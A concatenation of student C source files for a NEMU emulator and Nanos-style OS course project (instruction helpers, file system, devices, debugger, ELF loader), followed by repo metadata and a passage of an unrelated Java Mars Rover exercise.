make_EHelper(cltd) {
if (decinfo.isa.is_operand_size_16) {
rtl_mv(&s0,&cpu.eax);
if((s0>>15)&1) rtl_li(&cpu.edx,0x0000FFFF);
else rtl_li(&cpu.edx,0);
}
else {
rtl_mv(&s0,&cpu.eax);
if((s0>>31)&1) rtl_li(&cpu.edx,0xFFFFFFFF);
else rtl_li(&cpu.edx,0);
}
print_asm(decinfo.isa.is_operand_size_16 ? "cwtl" : "cltd");
}
make_EHelper(cwtl) {
if (decinfo.isa.is_operand_size_16) {
rtl_mv(&s0,&cpu.eax);
if((s0>>7)&1) rtl_ori(&cpu.eax,&cpu.eax,0x0000FF00);
else rtl_andi(&cpu.eax,&cpu.eax,0xFFFF00FF);
}
else {
rtl_mv(&s0,&cpu.eax);
if((s0>>15)&1) rtl_ori(&cpu.eax,&cpu.eax,0xFFFF0000);
else rtl_andi(&cpu.eax,&cpu.eax,0x0000FFFF);
}
print_asm(decinfo.isa.is_operand_size_16 ? "cbtw" : "cwtl");
}
make_EHelper(movsx) {
id_dest->width = decinfo.isa.is_operand_size_16 ? 2 : 4;
rtl_sext(&s0, &id_src->val, id_src->width);
operand_write(id_dest, &s0);
print_asm_template2(movsx);
}
make_EHelper(movzx) {
id_dest->width = decinfo.isa.is_operand_size_16 ? 2 : 4;
operand_write(id_dest, &id_src->val);
print_asm_template2(movzx);
}
make_EHelper(movs){
// s0 = cpu.esi;
// cpu.esi = cpu.edi;
// cpu.edi = s0;
s0 = cpu.esi ;
s1 = cpu.edi ;
s0 = vaddr_read(s0,id_dest->width);
vaddr_write(s1,s0,id_dest->width);
cpu.edi += id_dest->width;
cpu.esi += id_dest->width;
// s0 = *((uint8_t*)(intptr_t)cpu.esi);
// *((uint8_t*)(intptr_t)cpu.edi) = (uint8_t)s0;
// rtl_mv(cpu.edi, &s0);
// rtl_mv(&s1,&cpu.edi);
// rtl_andi(&s0, &s0, 0xFFFFFFFFu >> 8*(4-decinfo.dest.width));
// rtl_andi(&s1, &s1, 0xFFFFFFFFu >> 8*(4-decinfo.dest.width));
// rtl_lm(&s0,&s0,decinfo.dest.width);
// rtl_sm(&s1,&s0,decinfo.dest.width);
}
make_EHelper(lea) {
operand_write(id_dest, &id_src->addr);
print_asm_template2(lea);
}
<file_sep>#include "fs.h"
typedef size_t (*ReadFn) (void *buf, size_t offset, size_t len);
typedef size_t (*WriteFn) (const void *buf, size_t offset, size_t len);
size_t serial_write(const void *buf, size_t offset, size_t len);
size_t fb_write(const void *buf, size_t offset, size_t len);
size_t dispinfo_read(void *buf, size_t offset, size_t len);
size_t events_read(void *buf, size_t offset, size_t len);
size_t ramdisk_read(void *buf, size_t offset, size_t len);
size_t ramdisk_write(const void *buf, size_t offset, size_t len);
size_t fbsync_write(const void *buf, size_t offset, size_t len);
typedef struct {
char *name;
size_t size;
size_t disk_offset;
ReadFn read;
WriteFn write;
size_t open_offset;
} Finfo;
enum {FD_STDIN, FD_STDOUT, FD_STDERR, FD_FB};
size_t invalid_read(void *buf, size_t offset, size_t len) {
panic("should not reach here");
return 0;
}
size_t invalid_write(const void *buf, size_t offset, size_t len) {
panic("should not reach here");
return 0;
}
/* This is the information about all files in disk. */
static Finfo file_table[] __attribute__((used)) = {
{"stdin", 0, 0, invalid_read, invalid_write},
{"stdout", 0, 0, invalid_read, serial_write},
{"stderr", 0, 0, invalid_read, serial_write},
{"/dev/fb", 0, 0, invalid_read, fb_write},
{"/proc/dispinfo", 128, 0, dispinfo_read, invalid_write},
{"/dev/events", 256, 0, events_read, invalid_write},
{"/dev/fbsync",0 , 0, invalid_read, fbsync_write},
{"/dev/tty",0 , 0, invalid_read, serial_write},
#include "files.h"
};
#define NR_FILES (sizeof(file_table) / sizeof(file_table[0]))
void init_fs() {
// TODO: initialize the size of /dev/fb
//file_table[NR_FB].size = screen_width() * screen_height() * sizeof(uint32_t);
assert(!strcmp(file_table[3].name,"/dev/fb"));
int screen_height();
int screen_width();
file_table[3].size=screen_height()*screen_width()*(32/8);
Log("Initializing filesystem... %d files loaded.", NR_FILES);
}
size_t fs_write(int fd, const void *buf, size_t len) {
/*size_t write_size = len;
WriteFn writef = file_table[fd].write;
if (file_table[fd].write == NULL) writef = (WriteFn)ramdisk_write;
if ((file_table[fd].size - file_table[fd].open_offset) <= len){
write_size = file_table[fd].size - file_table[fd].open_offset;
}
write_size = writef(buf, file_table[fd].disk_offset + file_table[fd].open_offset, len);
file_table[fd].open_offset += write_size;
return write_size;
*/
/*
WriteFn write = file_table[fd].write == NULL ? (WriteFn) ramdisk_write : file_table[fd].write;
if (file_table[fd].size == 0) {
return write(buf, 0, len);
} else {
if (file_table[fd].open_offset >= file_table[fd].size) {
return 0; // Fail
} else {
if (file_table[fd].open_offset + len > file_table[fd].size) {
len = file_table[fd].size - file_table[fd].open_offset;
}
size_t offset = file_table[fd].disk_offset + file_table[fd].open_offset;
size_t delta = write(buf, offset, len);
file_table[fd].open_offset += delta;
return delta;
}
}
*/
/*Finfo *File = &file_table[fd];
if (File->write != NULL){
size_t reallen = File->write(buf, File->open_offset, len);
File->open_offset += reallen;
return reallen;
}
if (File->open_offset + len > File->size){
len = File->size - File->open_offset;
}
File->open_offset += ramdisk_write(buf, File->disk_offset + File->open_offset, len);
return len;
*/
if(file_table[fd].write == NULL){
if(file_table[fd].open_offset + len > file_table[fd].size)
len = file_table[fd].size - file_table[fd].open_offset;
ramdisk_write(buf, file_table[fd].disk_offset + file_table[fd].open_offset, len);
}
else file_table[fd].write(buf, file_table[fd].disk_offset + file_table[fd].open_offset, len);
file_table[fd].open_offset += len;
//Log("write success!");
return len;
}
size_t fs_read(int fd, void *buf, size_t len){
/*size_t read_size = len;
ReadFn readf = file_table[fd].read;
if (file_table[fd].read == NULL) readf = (ReadFn)ramdisk_read;
if ((file_table[fd].size - file_table[fd].open_offset) <= len){
read_size = file_table[fd].size - file_table[fd].open_offset;
}
read_size = readf(buf, file_table[fd].disk_offset + file_table[fd].open_offset, len);
file_table[fd].open_offset += read_size;
return read_size;
*/
/*
ReadFn read = file_table[fd].read == NULL ? (ReadFn)ramdisk_read : file_table[fd].read;
if (file_table[fd].size == 0) {
return read(buf, 0, len);
} else {
if (file_table[fd].open_offset >= file_table[fd].size) {
return 0; // EOF
} else {
if (file_table[fd].open_offset + len > file_table[fd].size) {
len = file_table[fd].size - file_table[fd].open_offset;
}
size_t offset = file_table[fd].disk_offset + file_table[fd].open_offset;
size_t delta = read(buf, offset, len);
file_table[fd].open_offset += delta;
return delta;
}
}
*/
/*Finfo *File = &file_table[fd];
if (File->read != NULL){
size_t reallen = File->read(buf, File->open_offset, len);
File->open_offset += reallen;
return reallen;
}
if (File->open_offset + len > File->size){
len = File->size - File->open_offset;
}
File->open_offset += ramdisk_read(buf, File->disk_offset + File->open_offset, len);
return len;
*/
int ret = 0;
//Log("fs_read: fd = %d, name = %s, offset = %d, len = %d", fd, file_table[fd].name, file_table[fd].open_offset, len);
if(file_table[fd].open_offset + len > file_table[fd].size){
len = file_table[fd].size - file_table[fd].open_offset;
}
if(file_table[fd].read == NULL){
ret = ramdisk_read(buf, file_table[fd].disk_offset + file_table[fd].open_offset, len);
}
else ret = file_table[fd].read(buf, file_table[fd].open_offset, len);
file_table[fd].open_offset += ret;
//Log("read_size = %d, filename = %s\n", ret, file_table[fd].name);
return ret;
}
size_t fs_lseek(int fd, size_t offset, int whence) {
assert(fd >= 0 && fd < NR_FILES);
size_t old_offset = file_table[fd].open_offset;
switch (whence) {
case SEEK_SET:
file_table[fd].open_offset = offset;
break;
case SEEK_CUR:
file_table[fd].open_offset = file_table[fd].open_offset + offset;
break;
case SEEK_END:
file_table[fd].open_offset = file_table[fd].size + offset;
break;
default:
assert(0);
}
if(file_table[fd].open_offset > file_table[fd].size){
file_table[fd].open_offset = old_offset;
return -1;
}
//printf("open_offset = %d\n", file_table[fd].open_offset);
return file_table[fd].open_offset;
}
int fs_open(const char *pathname, int flags, int mode){
//Log("Used open function.");
for (int i = 0; i < NR_FILES; ++i) {
if (strcmp(pathname, file_table[i].name) == 0) {
file_table[i].open_offset = 0;
return i;
}
}
panic("Invalid pathname %s", pathname);
return -1;
}
int fs_close(int fd){
//printf("Successfully close!\n");
return 0;
}
void loader_read(int idx,void* vaddr,uint32_t filesz,uint32_t memsz){
ramdisk_read(vaddr, file_table[idx].disk_offset + file_table[idx].open_offset, filesz);
for(int j = filesz; j < memsz; j++) *((uint8_t*)vaddr + j) = 0;
}
<file_sep>#include<klib.h>
int main(){
int a = 110;
printf("hello, a! %d ",a);
}
<file_sep>#include "common.h"
#include <amdev.h>
size_t serial_write(const void *buf, size_t offset, size_t len) {
const char* out = buf;
for(int i = 0; i < len; i++, out++) _putc(*out);
return len;
}
#define NAME(key) \
[_KEY_##key] = #key,
static const char *keyname[256] __attribute__((used)) = {
[_KEY_NONE] = "NONE",
_KEYS(NAME)
};
size_t events_read(void *buf, size_t offset, size_t len) {
int key = read_key();
bool key_down = false;
if(key & 0x8000) {
key ^= 0x8000;
key_down = true;
}
if(key == _KEY_NONE){
uint32_t time = uptime();
//printf("time: %u\n", time);
sprintf(buf, "t %u\n", time);
}
else sprintf(buf,"%s %s\n", (key_down? "kd":"ku"), keyname[key]);
//printf("buf:%s\n",buf);
return strlen(buf);
}
static char dispinfo[128] __attribute__((used)) = {};
size_t dispinfo_read(void *buf, size_t offset, size_t len) {
// if(len + offset > sizeof(dispinfo)) len = sizeof(dispinfo) - offset;
memcpy(buf, dispinfo+offset, len);
return len;
}
size_t fb_write(const void *buf, size_t offset, size_t len) {
//printf("len: %d, offset: %d\n", len, offset);
offset /= 4;
int x = offset % screen_width();
int y = offset / screen_width();
draw_rect((uint32_t*)buf, x, y, len/4, 1);
// for(int beg = 0; beg < len; ){
// if(len - beg > screen_width() - x){
// draw_rect((uint32_t*)buf, x, y, screen_width()-x, 1);
// beg += screen_width() - x;
// x = 0; y++;
// }
// else{
// draw_rect((uint32_t*)buf, x, y, len - beg, 1);
// x += len - beg;
// beg = len;
// }
// draw_rect((uint32_t*)disp, x, y, 1, 1);
// offset ++;
// disp += 4;
//}
return len; //原来我之前一直返回0
}
size_t fbsync_write(const void *buf, size_t offset, size_t len) {
draw_sync();
return 0;
}
void init_device() {
Log("Initializing devices...");
_ioe_init();
//printf("%s\n",dispinfo);
// TODO: print the string to array `dispinfo` with the format
// described in the Navy-apps convention
sprintf(dispinfo, "WIDTH:%d\nHEIGHT:%d", screen_width(), screen_height());
}<file_sep>#include "monitor/monitor.h"
#include "monitor/expr.h"
#include "monitor/watchpoint.h"
#include "nemu.h"
#include <stdlib.h>
#include <readline/readline.h>
#include <readline/history.h>
void cpu_exec(uint64_t);
void isa_reg_display(void);
uint32_t expr(char*,bool*);
/* We use the `readline' library to provide more flexibility to read from stdin. */
static char* rl_gets() {
static char *line_read = NULL;
if (line_read) {
free(line_read);
line_read = NULL;
}
line_read = readline("(nemu) ");
if (line_read && *line_read) {
add_history(line_read);
}
return line_read;
}
static int cmd_c(char *args) {
cpu_exec(-1);
return 0;
}
static int cmd_q(char *args) {
return -1;
}
static int cmd_help(char *args);
static int cmd_si(char *args){
if(args==NULL) {cpu_exec(1);}
else {cpu_exec(atoi(args));}
return 0;
}
static int cmd_info(char *args){
if(args[0]=='r') {isa_reg_display(); }
else if(args[0]=='w'){all_watchpoint(); }
else {printf("No such command, maybe you want to using info r"); }
return 0;
}
static int cmd_x(char *args){
int a=0,i;
for(i=0;args[i]!=' '&&i<strlen(args);i++){
a*=10;
a+=args[i]-48;
}
i=i+3;
unsigned int ad=0;
for( ;i<strlen(args);i++){
ad*=16;
if(args[i]<='9') {ad+=args[i]-'0';}
else if(args[i]<='Z') {ad+=args[i]-'A'+10;}
else {ad+=args[i]-'a'+10;}
}
for(int j=0;j<a;j++){
if(j%4==0) printf("\n%x: ",ad);
printf("%08x ",paddr_read(ad,4));
ad=ad+4;
}
printf("\n");
return 0;
}
static int cmd_p(char* args){
bool judge = true;
uint32_t val = expr(args,&judge);
printf("%u %x\n",val,val);
return 0;
}
/* 打开文件 */
static int cmd_p_file(char* args){
FILE *fp = fopen(args, "r");
uint32_t num1; char str2[512];
while(fscanf(fp,"%u",&num1) != EOF){
char* return_val = fgets(str2,512,fp);
if(return_val) ;
if(num1 == expr_val(str2)) ;//printf("true\n");
else printf("false: str1: %u,val_compute:%u str2: %s\n",num1,expr_val(str2),str2);
}
return 0;
}
static int cmd_check(char* args){
bool success_set_check = false;
uint32_t set_value = expr(args,&success_set_check);
if(!success_set_check) { printf("set checkpoint filed: wrong expression!\n"); return 0;}
WP* set_wp = new_wp();
for(int i = 0; i < strlen(args); i++) set_wp->expr[i] = args[i];
set_wp->expr[strlen(args)] = '\0';
wp_value[set_wp->NO] = set_value;
printf("set checkpoint %d: %s\n",set_wp->NO,args);
return 0;
}
static int cmd_delete_check(char* i){
int wp_id = 0;
for(int j = 0; j < strlen(i); j++){
wp_id *= 10;
wp_id += i[j] - '0';
}
free_wp(wp_id);
return 0;
}
static struct {
char *name;
char *description;
int (*handler) (char *);
} cmd_table [] = {
{ "help", "Display informations about all supported commands", cmd_help },
{ "c", "Continue the execution of the program", cmd_c },
{ "q", "Exit NEMU", cmd_q },
{ "si", "Executes n instructions,default n=0", cmd_si},
{ "info", "print the condition of the program, 'r' for regester and 'w' for watching", cmd_info},
{ "x", "scan the memory, two extra arguments are needed, one for the expected byte number of the address, and one for expression which indicator the begging of the address", cmd_x},
{ "p", "expression evalueation", cmd_p},
{ "p_file", "expression evaluation in file", cmd_p_file},
{ "check", "set checkpoint", cmd_check},
{ "d", "delete the checkpoint i", cmd_delete_check},
/* TODO: Add more commands */
};
#define NR_CMD (sizeof(cmd_table) / sizeof(cmd_table[0]))
static int cmd_help(char *args) {
/* extract the first argument */
char *arg = strtok(NULL, " ");
int i;
if (arg == NULL) {
/* no argument given */
for (i = 0; i < NR_CMD; i ++) {
printf("%s - %s\n", cmd_table[i].name, cmd_table[i].description);
}
}
else {
for (i = 0; i < NR_CMD; i ++) {
if (strcmp(arg, cmd_table[i].name) == 0) {
printf("%s - %s\n", cmd_table[i].name, cmd_table[i].description);
return 0;
}
}
printf("Unknown command '%s'\n", arg);
}
return 0;
}
void ui_mainloop(int is_batch_mode) {
if (is_batch_mode) {
cmd_c(NULL);
return;
}
for (char *str; (str = rl_gets()) != NULL; ) {
/*读取到一条指令*/
char *str_end = str + strlen(str);
/* extract the first token as the command */
char *cmd = strtok(str, " ");
if (cmd == NULL) { continue; }
/* treat the remaining string as the arguments,
* which may need further parsing
*/
char *args = cmd + strlen(cmd) + 1;
if (args >= str_end) {
args = NULL;
}
#ifdef HAS_IOE
extern void sdl_clear_event_queue(void);
sdl_clear_event_queue();
#endif
int i;
for (i = 0; i < NR_CMD; i ++) {
if (strcmp(cmd, cmd_table[i].name) == 0) {
if (cmd_table[i].handler(args) < 0) { return; }
break;
}
}
if (i == NR_CMD) { printf("Unknown command '%s'\n", cmd); }
}
}
<file_sep>#include "common.h"
#include "syscall.h"
#include "proc.h"
size_t fs_read(int fd, void *buf, size_t len);
size_t fs_write(int fd, const void *buf, size_t len);
size_t fs_lseek(int fd, size_t offset, int whence);
int fs_close(int fd);
int fs_open(const char* pathname, int flags, int mode);
void naive_uload(PCB *pcb, const char *filename);
_Context* do_syscall(_Context *c) {
uintptr_t a[4];
a[0] = c->GPR1;
a[1] = c->GPR2;
a[2] = c->GPR3;
a[3] = c->GPR4;
switch (a[0]) {
case SYS_exit: _halt(a[2]); break;
case SYS_yield: _yield(); break;
case SYS_write: c -> GPRx =fs_write(a[1],(void*)a[2], a[3]); break;
case SYS_brk: c -> GPRx = 0; break;
case SYS_read: c -> GPRx = fs_read(a[1],(void*)a[2], a[3]); break;
case SYS_close: fs_close(a[1]); break;
case SYS_lseek: c -> GPRx = fs_lseek(a[1], a[2], a[3]); break;
case SYS_open: c -> GPRx = fs_open((char*)a[1], a[2], a[3]); break;
case SYS_execve: naive_uload(NULL,(void*)a[1]); //第一个参数实际为pcb
default: panic("Unhandled syscall ID = %d", a[0]);
}
// if(a[3] == 0 || (a[1] != 1 && a[1] != 2)) {
// c->GPRx = 0; //x是返回值吗呜呜呜
// break;
// }
// c->GPRx = 1;
// char* out_ = (char*)a[2];
// for(int i = 0; i < a[3]; i++) {
// _putc(*out_);
// out_++;
// }
// break;
return NULL;
}
<file_sep>#include "proc.h"
#include <elf.h>
#include <stdlib.h>
#ifdef __ISA_AM_NATIVE__
# define Elf_Ehdr Elf64_Ehdr
# define Elf_Phdr Elf64_Phdr
#else
# define Elf_Ehdr Elf32_Ehdr
# define Elf_Phdr Elf32_Phdr
#endif
#define PBEGIN 0x3000000;
size_t fs_read(int fd, void *buf, size_t len);
size_t fs_write(int fd, const void *buf, size_t len);
int fs_open(const char* pathname, int flags, int mode);
int fs_close(int fd);
size_t fs_lseek(int fd, size_t offset, int whence);
void loader_read(int idx,void* vaddr,uint32_t filesz,uint32_t memsz);
static uintptr_t loader(PCB *pcb, const char *filename) {
//判断是否为elf:我没写QAQ
int idx = fs_open(filename, 0, 0);
//printf("idx:%d\n",idx);
Elf_Ehdr elf;
fs_read(idx, &elf, sizeof(Elf_Ehdr));
// for(int i = 0; i < sizeof(Elf_Ehdr)/4; i++) printf("%x \n",*((uint32_t*)&elf+i));
// printf("\n");
for(int i = 0; i < elf.e_phnum; i++){
fs_lseek(idx, elf.e_phoff + i * elf.e_phentsize, 0);
Elf_Phdr ent;
fs_read(idx, &ent, elf.e_phentsize);
// for(int i = 0; i < elf.e_phentsize/4; i++) printf("%x \n",*((uint32_t*)&ent+i));
// printf("\n");
if(ent.p_type == PT_LOAD){
// uint8_t buf[ent.p_memsz+1]; //需要+1吗
fs_lseek(idx, ent.p_offset, 0);
loader_read(idx,(void*)ent.p_vaddr,ent.p_filesz,ent.p_memsz);
// fs_read(idx, buf, ent.p_filesz);
// for(int j = ent.p_filesz; j <= ent.p_memsz; j++) buf[j] = 0;
// memcpy((void*)ent.p_vaddr, buf , ent.p_memsz);
}
}
fs_close(idx);
return elf.e_entry;
}
void naive_uload(PCB *pcb, const char *filename) {
uintptr_t entry = loader(pcb, filename);
Log("Jump to entry = %x", entry);
//printf("\nentry: %d %x\n", entry, entry);
((void(*)())entry) ();
}
void context_kload(PCB *pcb, void *entry) {
_Area stack;
stack.start = pcb->stack;
stack.end = stack.start + sizeof(pcb->stack);
pcb->cp = _kcontext(stack, entry, NULL);
}
void context_uload(PCB *pcb, const char *filename) {
uintptr_t entry = loader(pcb, filename);
_Area stack;
stack.start = pcb->stack;
stack.end = stack.start + sizeof(pcb->stack);
pcb->cp = _ucontext(&pcb->as, stack, stack, (void *)entry, NULL);
}
<file_sep>#include "monitor/watchpoint.h"
#include "monitor/expr.h"
#define NR_WP 32
static WP wp_pool[NR_WP] = {};
static WP *head = NULL, *free_ = NULL;
uint32_t wp_value[NR_WP] = {};
int wp_num = 0;
void init_wp_pool() {
int i;
for (i = 0; i < NR_WP; i ++) {
wp_pool[i].NO = i;
wp_pool[i].next = &wp_pool[i + 1];
}
wp_pool[NR_WP - 1].next = NULL;
head = NULL;
free_ = wp_pool;
}
/* TODO: Implement the functionality of watchpoint */
WP* new_wp(){
if(free_ == NULL) assert(0);
WP* ret_wp = free_;
free_ = free_ -> next;
ret_wp -> next = head;
head = ret_wp;
ret_wp -> expr[0] = '\0';
wp_num ++;
return ret_wp;
}
void free_wp(int i){
for(WP* p = head; p != NULL; p = p -> next){
if(p -> next == &wp_pool[i]) p-> next = (p -> next)->next;
}
wp_pool[i].next = free_;
free_ = &wp_pool[i];
wp_num --;
return;
}
bool check_watchpoint(){
bool changed = false;
for(WP* p = head; p != NULL; p = p -> next){
uint32_t new_val = expr_val(p -> expr);
if(new_val != wp_value[p->NO]) {
printf("checkpoint %d: expr: %s \nold value: %u , new value: %u\n",p -> NO,p->expr,wp_value[p->NO],new_val);
wp_value[p->NO] = new_val;
changed = true;
}
}
return changed;
}
/*输出所有监视点信息*/
void all_watchpoint(){
for(WP* p = head; p != NULL; p = p -> next){
printf("checkpoint %d: expr: %s , now value: %u\n",p->NO,p->expr,expr_val(p->expr));
}
return;
}<file_sep>#include "nemu.h"
/* We use the POSIX regex functions to process regular expressions.
* Type 'man regex' for more information about POSIX regex functions.
*/
#include <sys/types.h>
#include <regex.h>
enum {
TK_NOTYPE = 256, NUMBER = 512, TK_EQ = 257, TK_SOE = 258, TK_AND = 259, HEX = 260, REG = 261, NEG = 262, ADDRESS = 263,
TK_NOTEQ = 264,
/* TODO: Add more token types */
};
static struct rule {
char *regex;
int token_type;
} rules[] = {
/* TODO: Add more rules.
* Pay attention to the precedence level of different rules.
*/
{" +", TK_NOTYPE}, // spaces
{"0x(0|1|2|3|4|5|6|7|8|9|a|b|c|d|e|f|A|B|C|D|E|F)+", HEX},
{"\\$([A-Z]|[a-z]|[0-9])+", REG},
{"(0|1|2|3|4|5|6|7|8|9)+", NUMBER},
{"\\(", '('},
{"\\)", ')'},
{"\\*", '*'},
{"/", '/'},
{"-", '-'},
{"\\+", '+'}, // plus
{"==", TK_EQ}, // equal
{"!=", TK_NOTEQ},
{"<=", TK_SOE},
{"&&", TK_AND}
};
#define NR_REGEX (sizeof(rules) / sizeof(rules[0]) )
static regex_t re[NR_REGEX] = {};
uint32_t isa_reg_str2val(char*,bool*);
/* Rules are used for many times.
* Therefore we compile them only once before any usage.
*/
void init_regex() {
int i;
char error_msg[128];
int ret;
for (i = 0; i < NR_REGEX; i ++) {
ret = regcomp(&re[i], rules[i].regex, REG_EXTENDED);
if (ret != 0) {
regerror(ret, &re[i], error_msg, 128);
panic("regex compilation failed: %s\n%s", error_msg, rules[i].regex);
}
}
}
typedef struct token {
int type;
char str[32];
} Token;
static Token tokens[512] __attribute__((used)) = {};
static int nr_token __attribute__((used)) = 0;
static bool make_token(char *e) {
int position = 0;
int i;
regmatch_t pmatch;
nr_token = 0;
while (e[position] != '\0' && e[position] != 10) {
/* Try all rules one by one. */
for (i = 0; i < NR_REGEX; i ++) {
if (regexec(&re[i], e + position, 1, &pmatch, 0) == 0 && pmatch.rm_so == 0) {
char *substr_start = e + position;
int substr_len = pmatch.rm_eo;
/*Log("match rules[%d] = \"%s\" at position %d with len %d: %.*s",
i, rules[i].regex, position, substr_len, substr_len, substr_start);*/
position += substr_len;
/* TODO: Now a new token is recognized with rules[i]. Add codes
* to record the token in the array `tokens'. For certain types
* of tokens, some extra actions should be performed.
*/
tokens[nr_token].type = rules[i].token_type;
for(int j=0;j<substr_len;j++){
tokens[nr_token].str[j] = substr_start[j];
if(j < 31) tokens[nr_token].str[j+1] = '\0';
}
nr_token++;
//printf("remember the token.str size is just 32, deal with it!\n");
//下面先注释掉,后面记得实现
// switch (rules[i].token_type) {
// default: printf("hello, there still left somthing to do\n");//TODO();
// }
break;
}
}
if (i == NR_REGEX) {
//tokens debug使用
//printf("no match at position %d\n%s\n%*.s^\n", position, e, position, "");
return false;
}
}
return true;
}
static uint32_t compute_num(uint32_t i){
uint32_t num = 0;
/*十进制数*/
if(tokens[i].type == NUMBER || tokens[i].type == NEG){
for(int j = 0; j < 32 && tokens[i].str[j] != 0; j++){
num *= 10;
num += tokens[i].str[j]-'0';
}
if(tokens[i].type == NEG) num = 0 - num;
}
/*十进制/十六进制地址*/
else if(tokens[i].type == ADDRESS){
if(tokens[i].str[1] == 'x'){
for(int j = 2; j < 32 && tokens[i].str[j] != 0; j++){
num *= 16;
if(tokens[i].str[j] <= '9') num += tokens[i].str[j] - '0';
else if(tokens[i].str[j] <= 'Z') num += tokens[i].str[j] - 'A' + 10;
else if(tokens[i].str[j] <= 'z') num += tokens[i].str[j] - 'a' + 10;
}
}
else{
for( int j = 0; j < 32 && tokens[i].str[j] != 0; j++){
num *= 10;
num += tokens[i].str[j] - '0';
}
}
num = paddr_read(num,4);
}
/*十六进制数*/
else if(tokens[i].type == HEX){
for(int j = 2; j < 32 && tokens[i].str[j] != 0; j++){
num *= 16;
if(tokens[i].str[j] <= '9') num += tokens[i].str[j] - '0';
else if(tokens[i].str[j] <= 'Z') num += tokens[i].str[j] - 'A' + 10;
else if(tokens[i].str[j] <= 'z') num += tokens[i].str[j] - 'a' + 10;
}
}
/*寄存器 $eax...*/
else if(tokens[i].type == REG){
bool judge = false;
num = isa_reg_str2val(&tokens[i].str[1],&judge);
}
return num;
}
static uint32_t eval(int beg, int end){
//++iter;
//printf("at beg: %d, end: %d\n",beg,end); //测试代码
//if(iter>=20)return 0;
if(beg > end)return 0;
/* 处理负号 */
int pre_type = 0; //1表示数字,0表示符号
for(int i = beg; i <= end; i++){
if(tokens[i].type == '-' && pre_type == 0){
tokens[i++].type = TK_NOTYPE;
while(tokens[i].type == TK_NOTYPE) i++;
tokens[i].type = NEG;
}
/* 处理解引用 */
else if(tokens[i].type == '*' && pre_type == 0){
tokens[i++].type = TK_NOTYPE;
while(tokens[i].type == TK_NOTYPE) i++;
tokens[i].type = ADDRESS;
}
if(tokens[i].type == NUMBER || tokens[i].type == NEG || tokens[i].type == ADDRESS || tokens[i].type == REG || tokens[i].type == HEX) pre_type = 1;
else if(tokens[i].type != TK_NOTYPE) pre_type = 0;
}
/*计算*/
if(tokens[beg].type == TK_NOTYPE) return eval(beg+1,end);
if(tokens[end].type == TK_NOTYPE) return eval(beg,end-1);
if(beg == end) return compute_num(beg);
int in_par_num = 0; //当前括号的层数
int main_op = 0; //主运算符位置
for(int i = beg; i <= end; i++){
if(tokens[i].type == '(') in_par_num++;
else if(tokens[i].type == ')') in_par_num--;
else if((tokens[i].type == '+' || tokens[i].type == '-') && in_par_num == 0) main_op = i;
else if((tokens[i].type == '*' || tokens[i].type == '/') && in_par_num ==0 && tokens[main_op].type != '+' && tokens[main_op].type != '-') main_op = i;
else if((tokens[i].type == TK_AND || tokens[i].type == TK_EQ || tokens[i].type == TK_NOTEQ || tokens[i].type == TK_SOE)&& in_par_num == 0 && tokens[main_op].type != '+' && tokens[main_op].type != '-' && tokens[main_op].type != '*' && tokens[main_op].type != '/') main_op = i;
}
if(main_op == 0 && tokens[beg].type == '(' && tokens[end].type == ')')return eval(beg+1,end-1);
uint32_t val1 = eval(beg, main_op-1);
uint32_t val2 = eval(main_op + 1, end);
//printf("%d %d",val1,val2);
//处理二元运算符。 一元运算符全部压缩到运算对象中
switch(tokens[main_op].type){
case '+': return val1 + val2;
case '-': return val1 - val2;
case '*': return val1 * val2;
case '/': return val1 / val2;
case TK_NOTEQ: return (val1 != val2);
case TK_SOE: return (val1 <= val2);
case TK_EQ: return (val1 == val2);
case TK_AND: return (val1 && val2);
default: printf("wrong at token_num: %d, token_type: %d\n",main_op,tokens[main_op].type); return 0;
}
}
uint32_t expr(char *e, bool *success) {
if (!make_token(e)) {
*success = false;
return 0;
}
*success = true;
return eval(0,nr_token-1);
/* TODO: Insert codes to evaluate the expression. */
//TODO();
}
/*不要bool指针版*/
uint32_t expr_val(char* e){
make_token(e);
return eval(0,nr_token-1);
}
uint32_t atoui(char* str){
uint32_t num = 0;
while(*str){
num += *str - '0';
num *= 10;
}
return num;
}
<file_sep>#include "nemu.h"
#include "monitor/diff-test.h"
const char *regsl[8];
bool isa_difftest_checkregs(CPU_state *ref_r, vaddr_t pc) {
// for(int i = 0;i < 8; i++) printf("%d: %x %x \n",i,ref_r->gpr[i]._32,cpu.gpr[i]._32);
// printf("pc: %x %x\n",ref_r->pc,pc);
// return true;
for(int i = 0; i < 8; i++){
if(!(ref_r->gpr[i]._32==cpu.gpr[i]._32)) {
printf(" %s wrong, now: %d, true: %d\n",regsl[i],cpu.gpr[i]._32,ref_r->gpr[i]._32);
return false;
}
}
// if(!(ref_r->CF == cpu.CF)) return false;
// if(!(ref_r->ZF == cpu.ZF)) return false;
// if(!(ref_r->SF == cpu.SF)) return false;
// if(!(ref_r->OF == cpu.OF)) return false;
return true;
//return ref_r->pc == pc;
}
void isa_difftest_attach(void) {
}
| 5edface902222df8277d8a9a3c63e8fc1ed1bf78 | [
"C"
] | 17 | C | jaypiper/NJU-PA | e71716b2a255f82d2b79947eef11143eb94b323a | 2d314431f874ea3c2999a6695d5ae17104774bb0 |
refs/heads/master | <repo_name>aatwi/mars-rover<file_sep>/src/main/java/mars/rover/Position.java
package mars.rover;
import java.util.Objects;
public final class Position {
private final int xPosition;
private final int yPosition;
public Position(int xPosition, int yPosition) {
this.xPosition = xPosition;
this.yPosition = yPosition;
}
public int xPosition() {
return xPosition;
}
public int yPosition() {
return yPosition;
}
@Override
public String toString() {
return "Position{" +
"xPosition=" + xPosition +
", yPosition=" + yPosition +
'}';
}
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
Position position = (Position) o;
return xPosition == position.xPosition &&
yPosition == position.yPosition;
}
@Override
public int hashCode() {
return Objects.hash(xPosition, yPosition);
}
}
<file_sep>/src/main/java/mars/rover/MarsRover.java
package mars.rover;
import com.google.common.collect.Lists;
import mars.rover.instructions.Instruction;
import java.util.ArrayList;
import java.util.Objects;
import static mars.rover.instructions.InstructionFactory.getInstruction;
public final class MarsRover {
private Position position;
private Direction direction;
private Grid grid;
public MarsRover(Position position, Direction direction, Grid grid) {
this.position = position;
this.direction = direction;
this.grid = grid;
}
public void moveRover(String instructionString) {
ArrayList<String> instructions = Lists.newArrayList(instructionString.split(""));
instructions.forEach(instruction -> singleInstructionMove(getInstruction(instruction)));
}
void singleInstructionMove(Instruction instruction) {
this.direction = instruction.rotate(direction);
this.position = instruction.move(grid, position, direction);
}
public Position position() {
return position;
}
public Direction direction() {
return direction;
}
@Override
public String toString() {
return "MarsRover{" +
"position=" + position +
", direction=" + direction +
'}';
}
@Override
public boolean equals(Object o) {
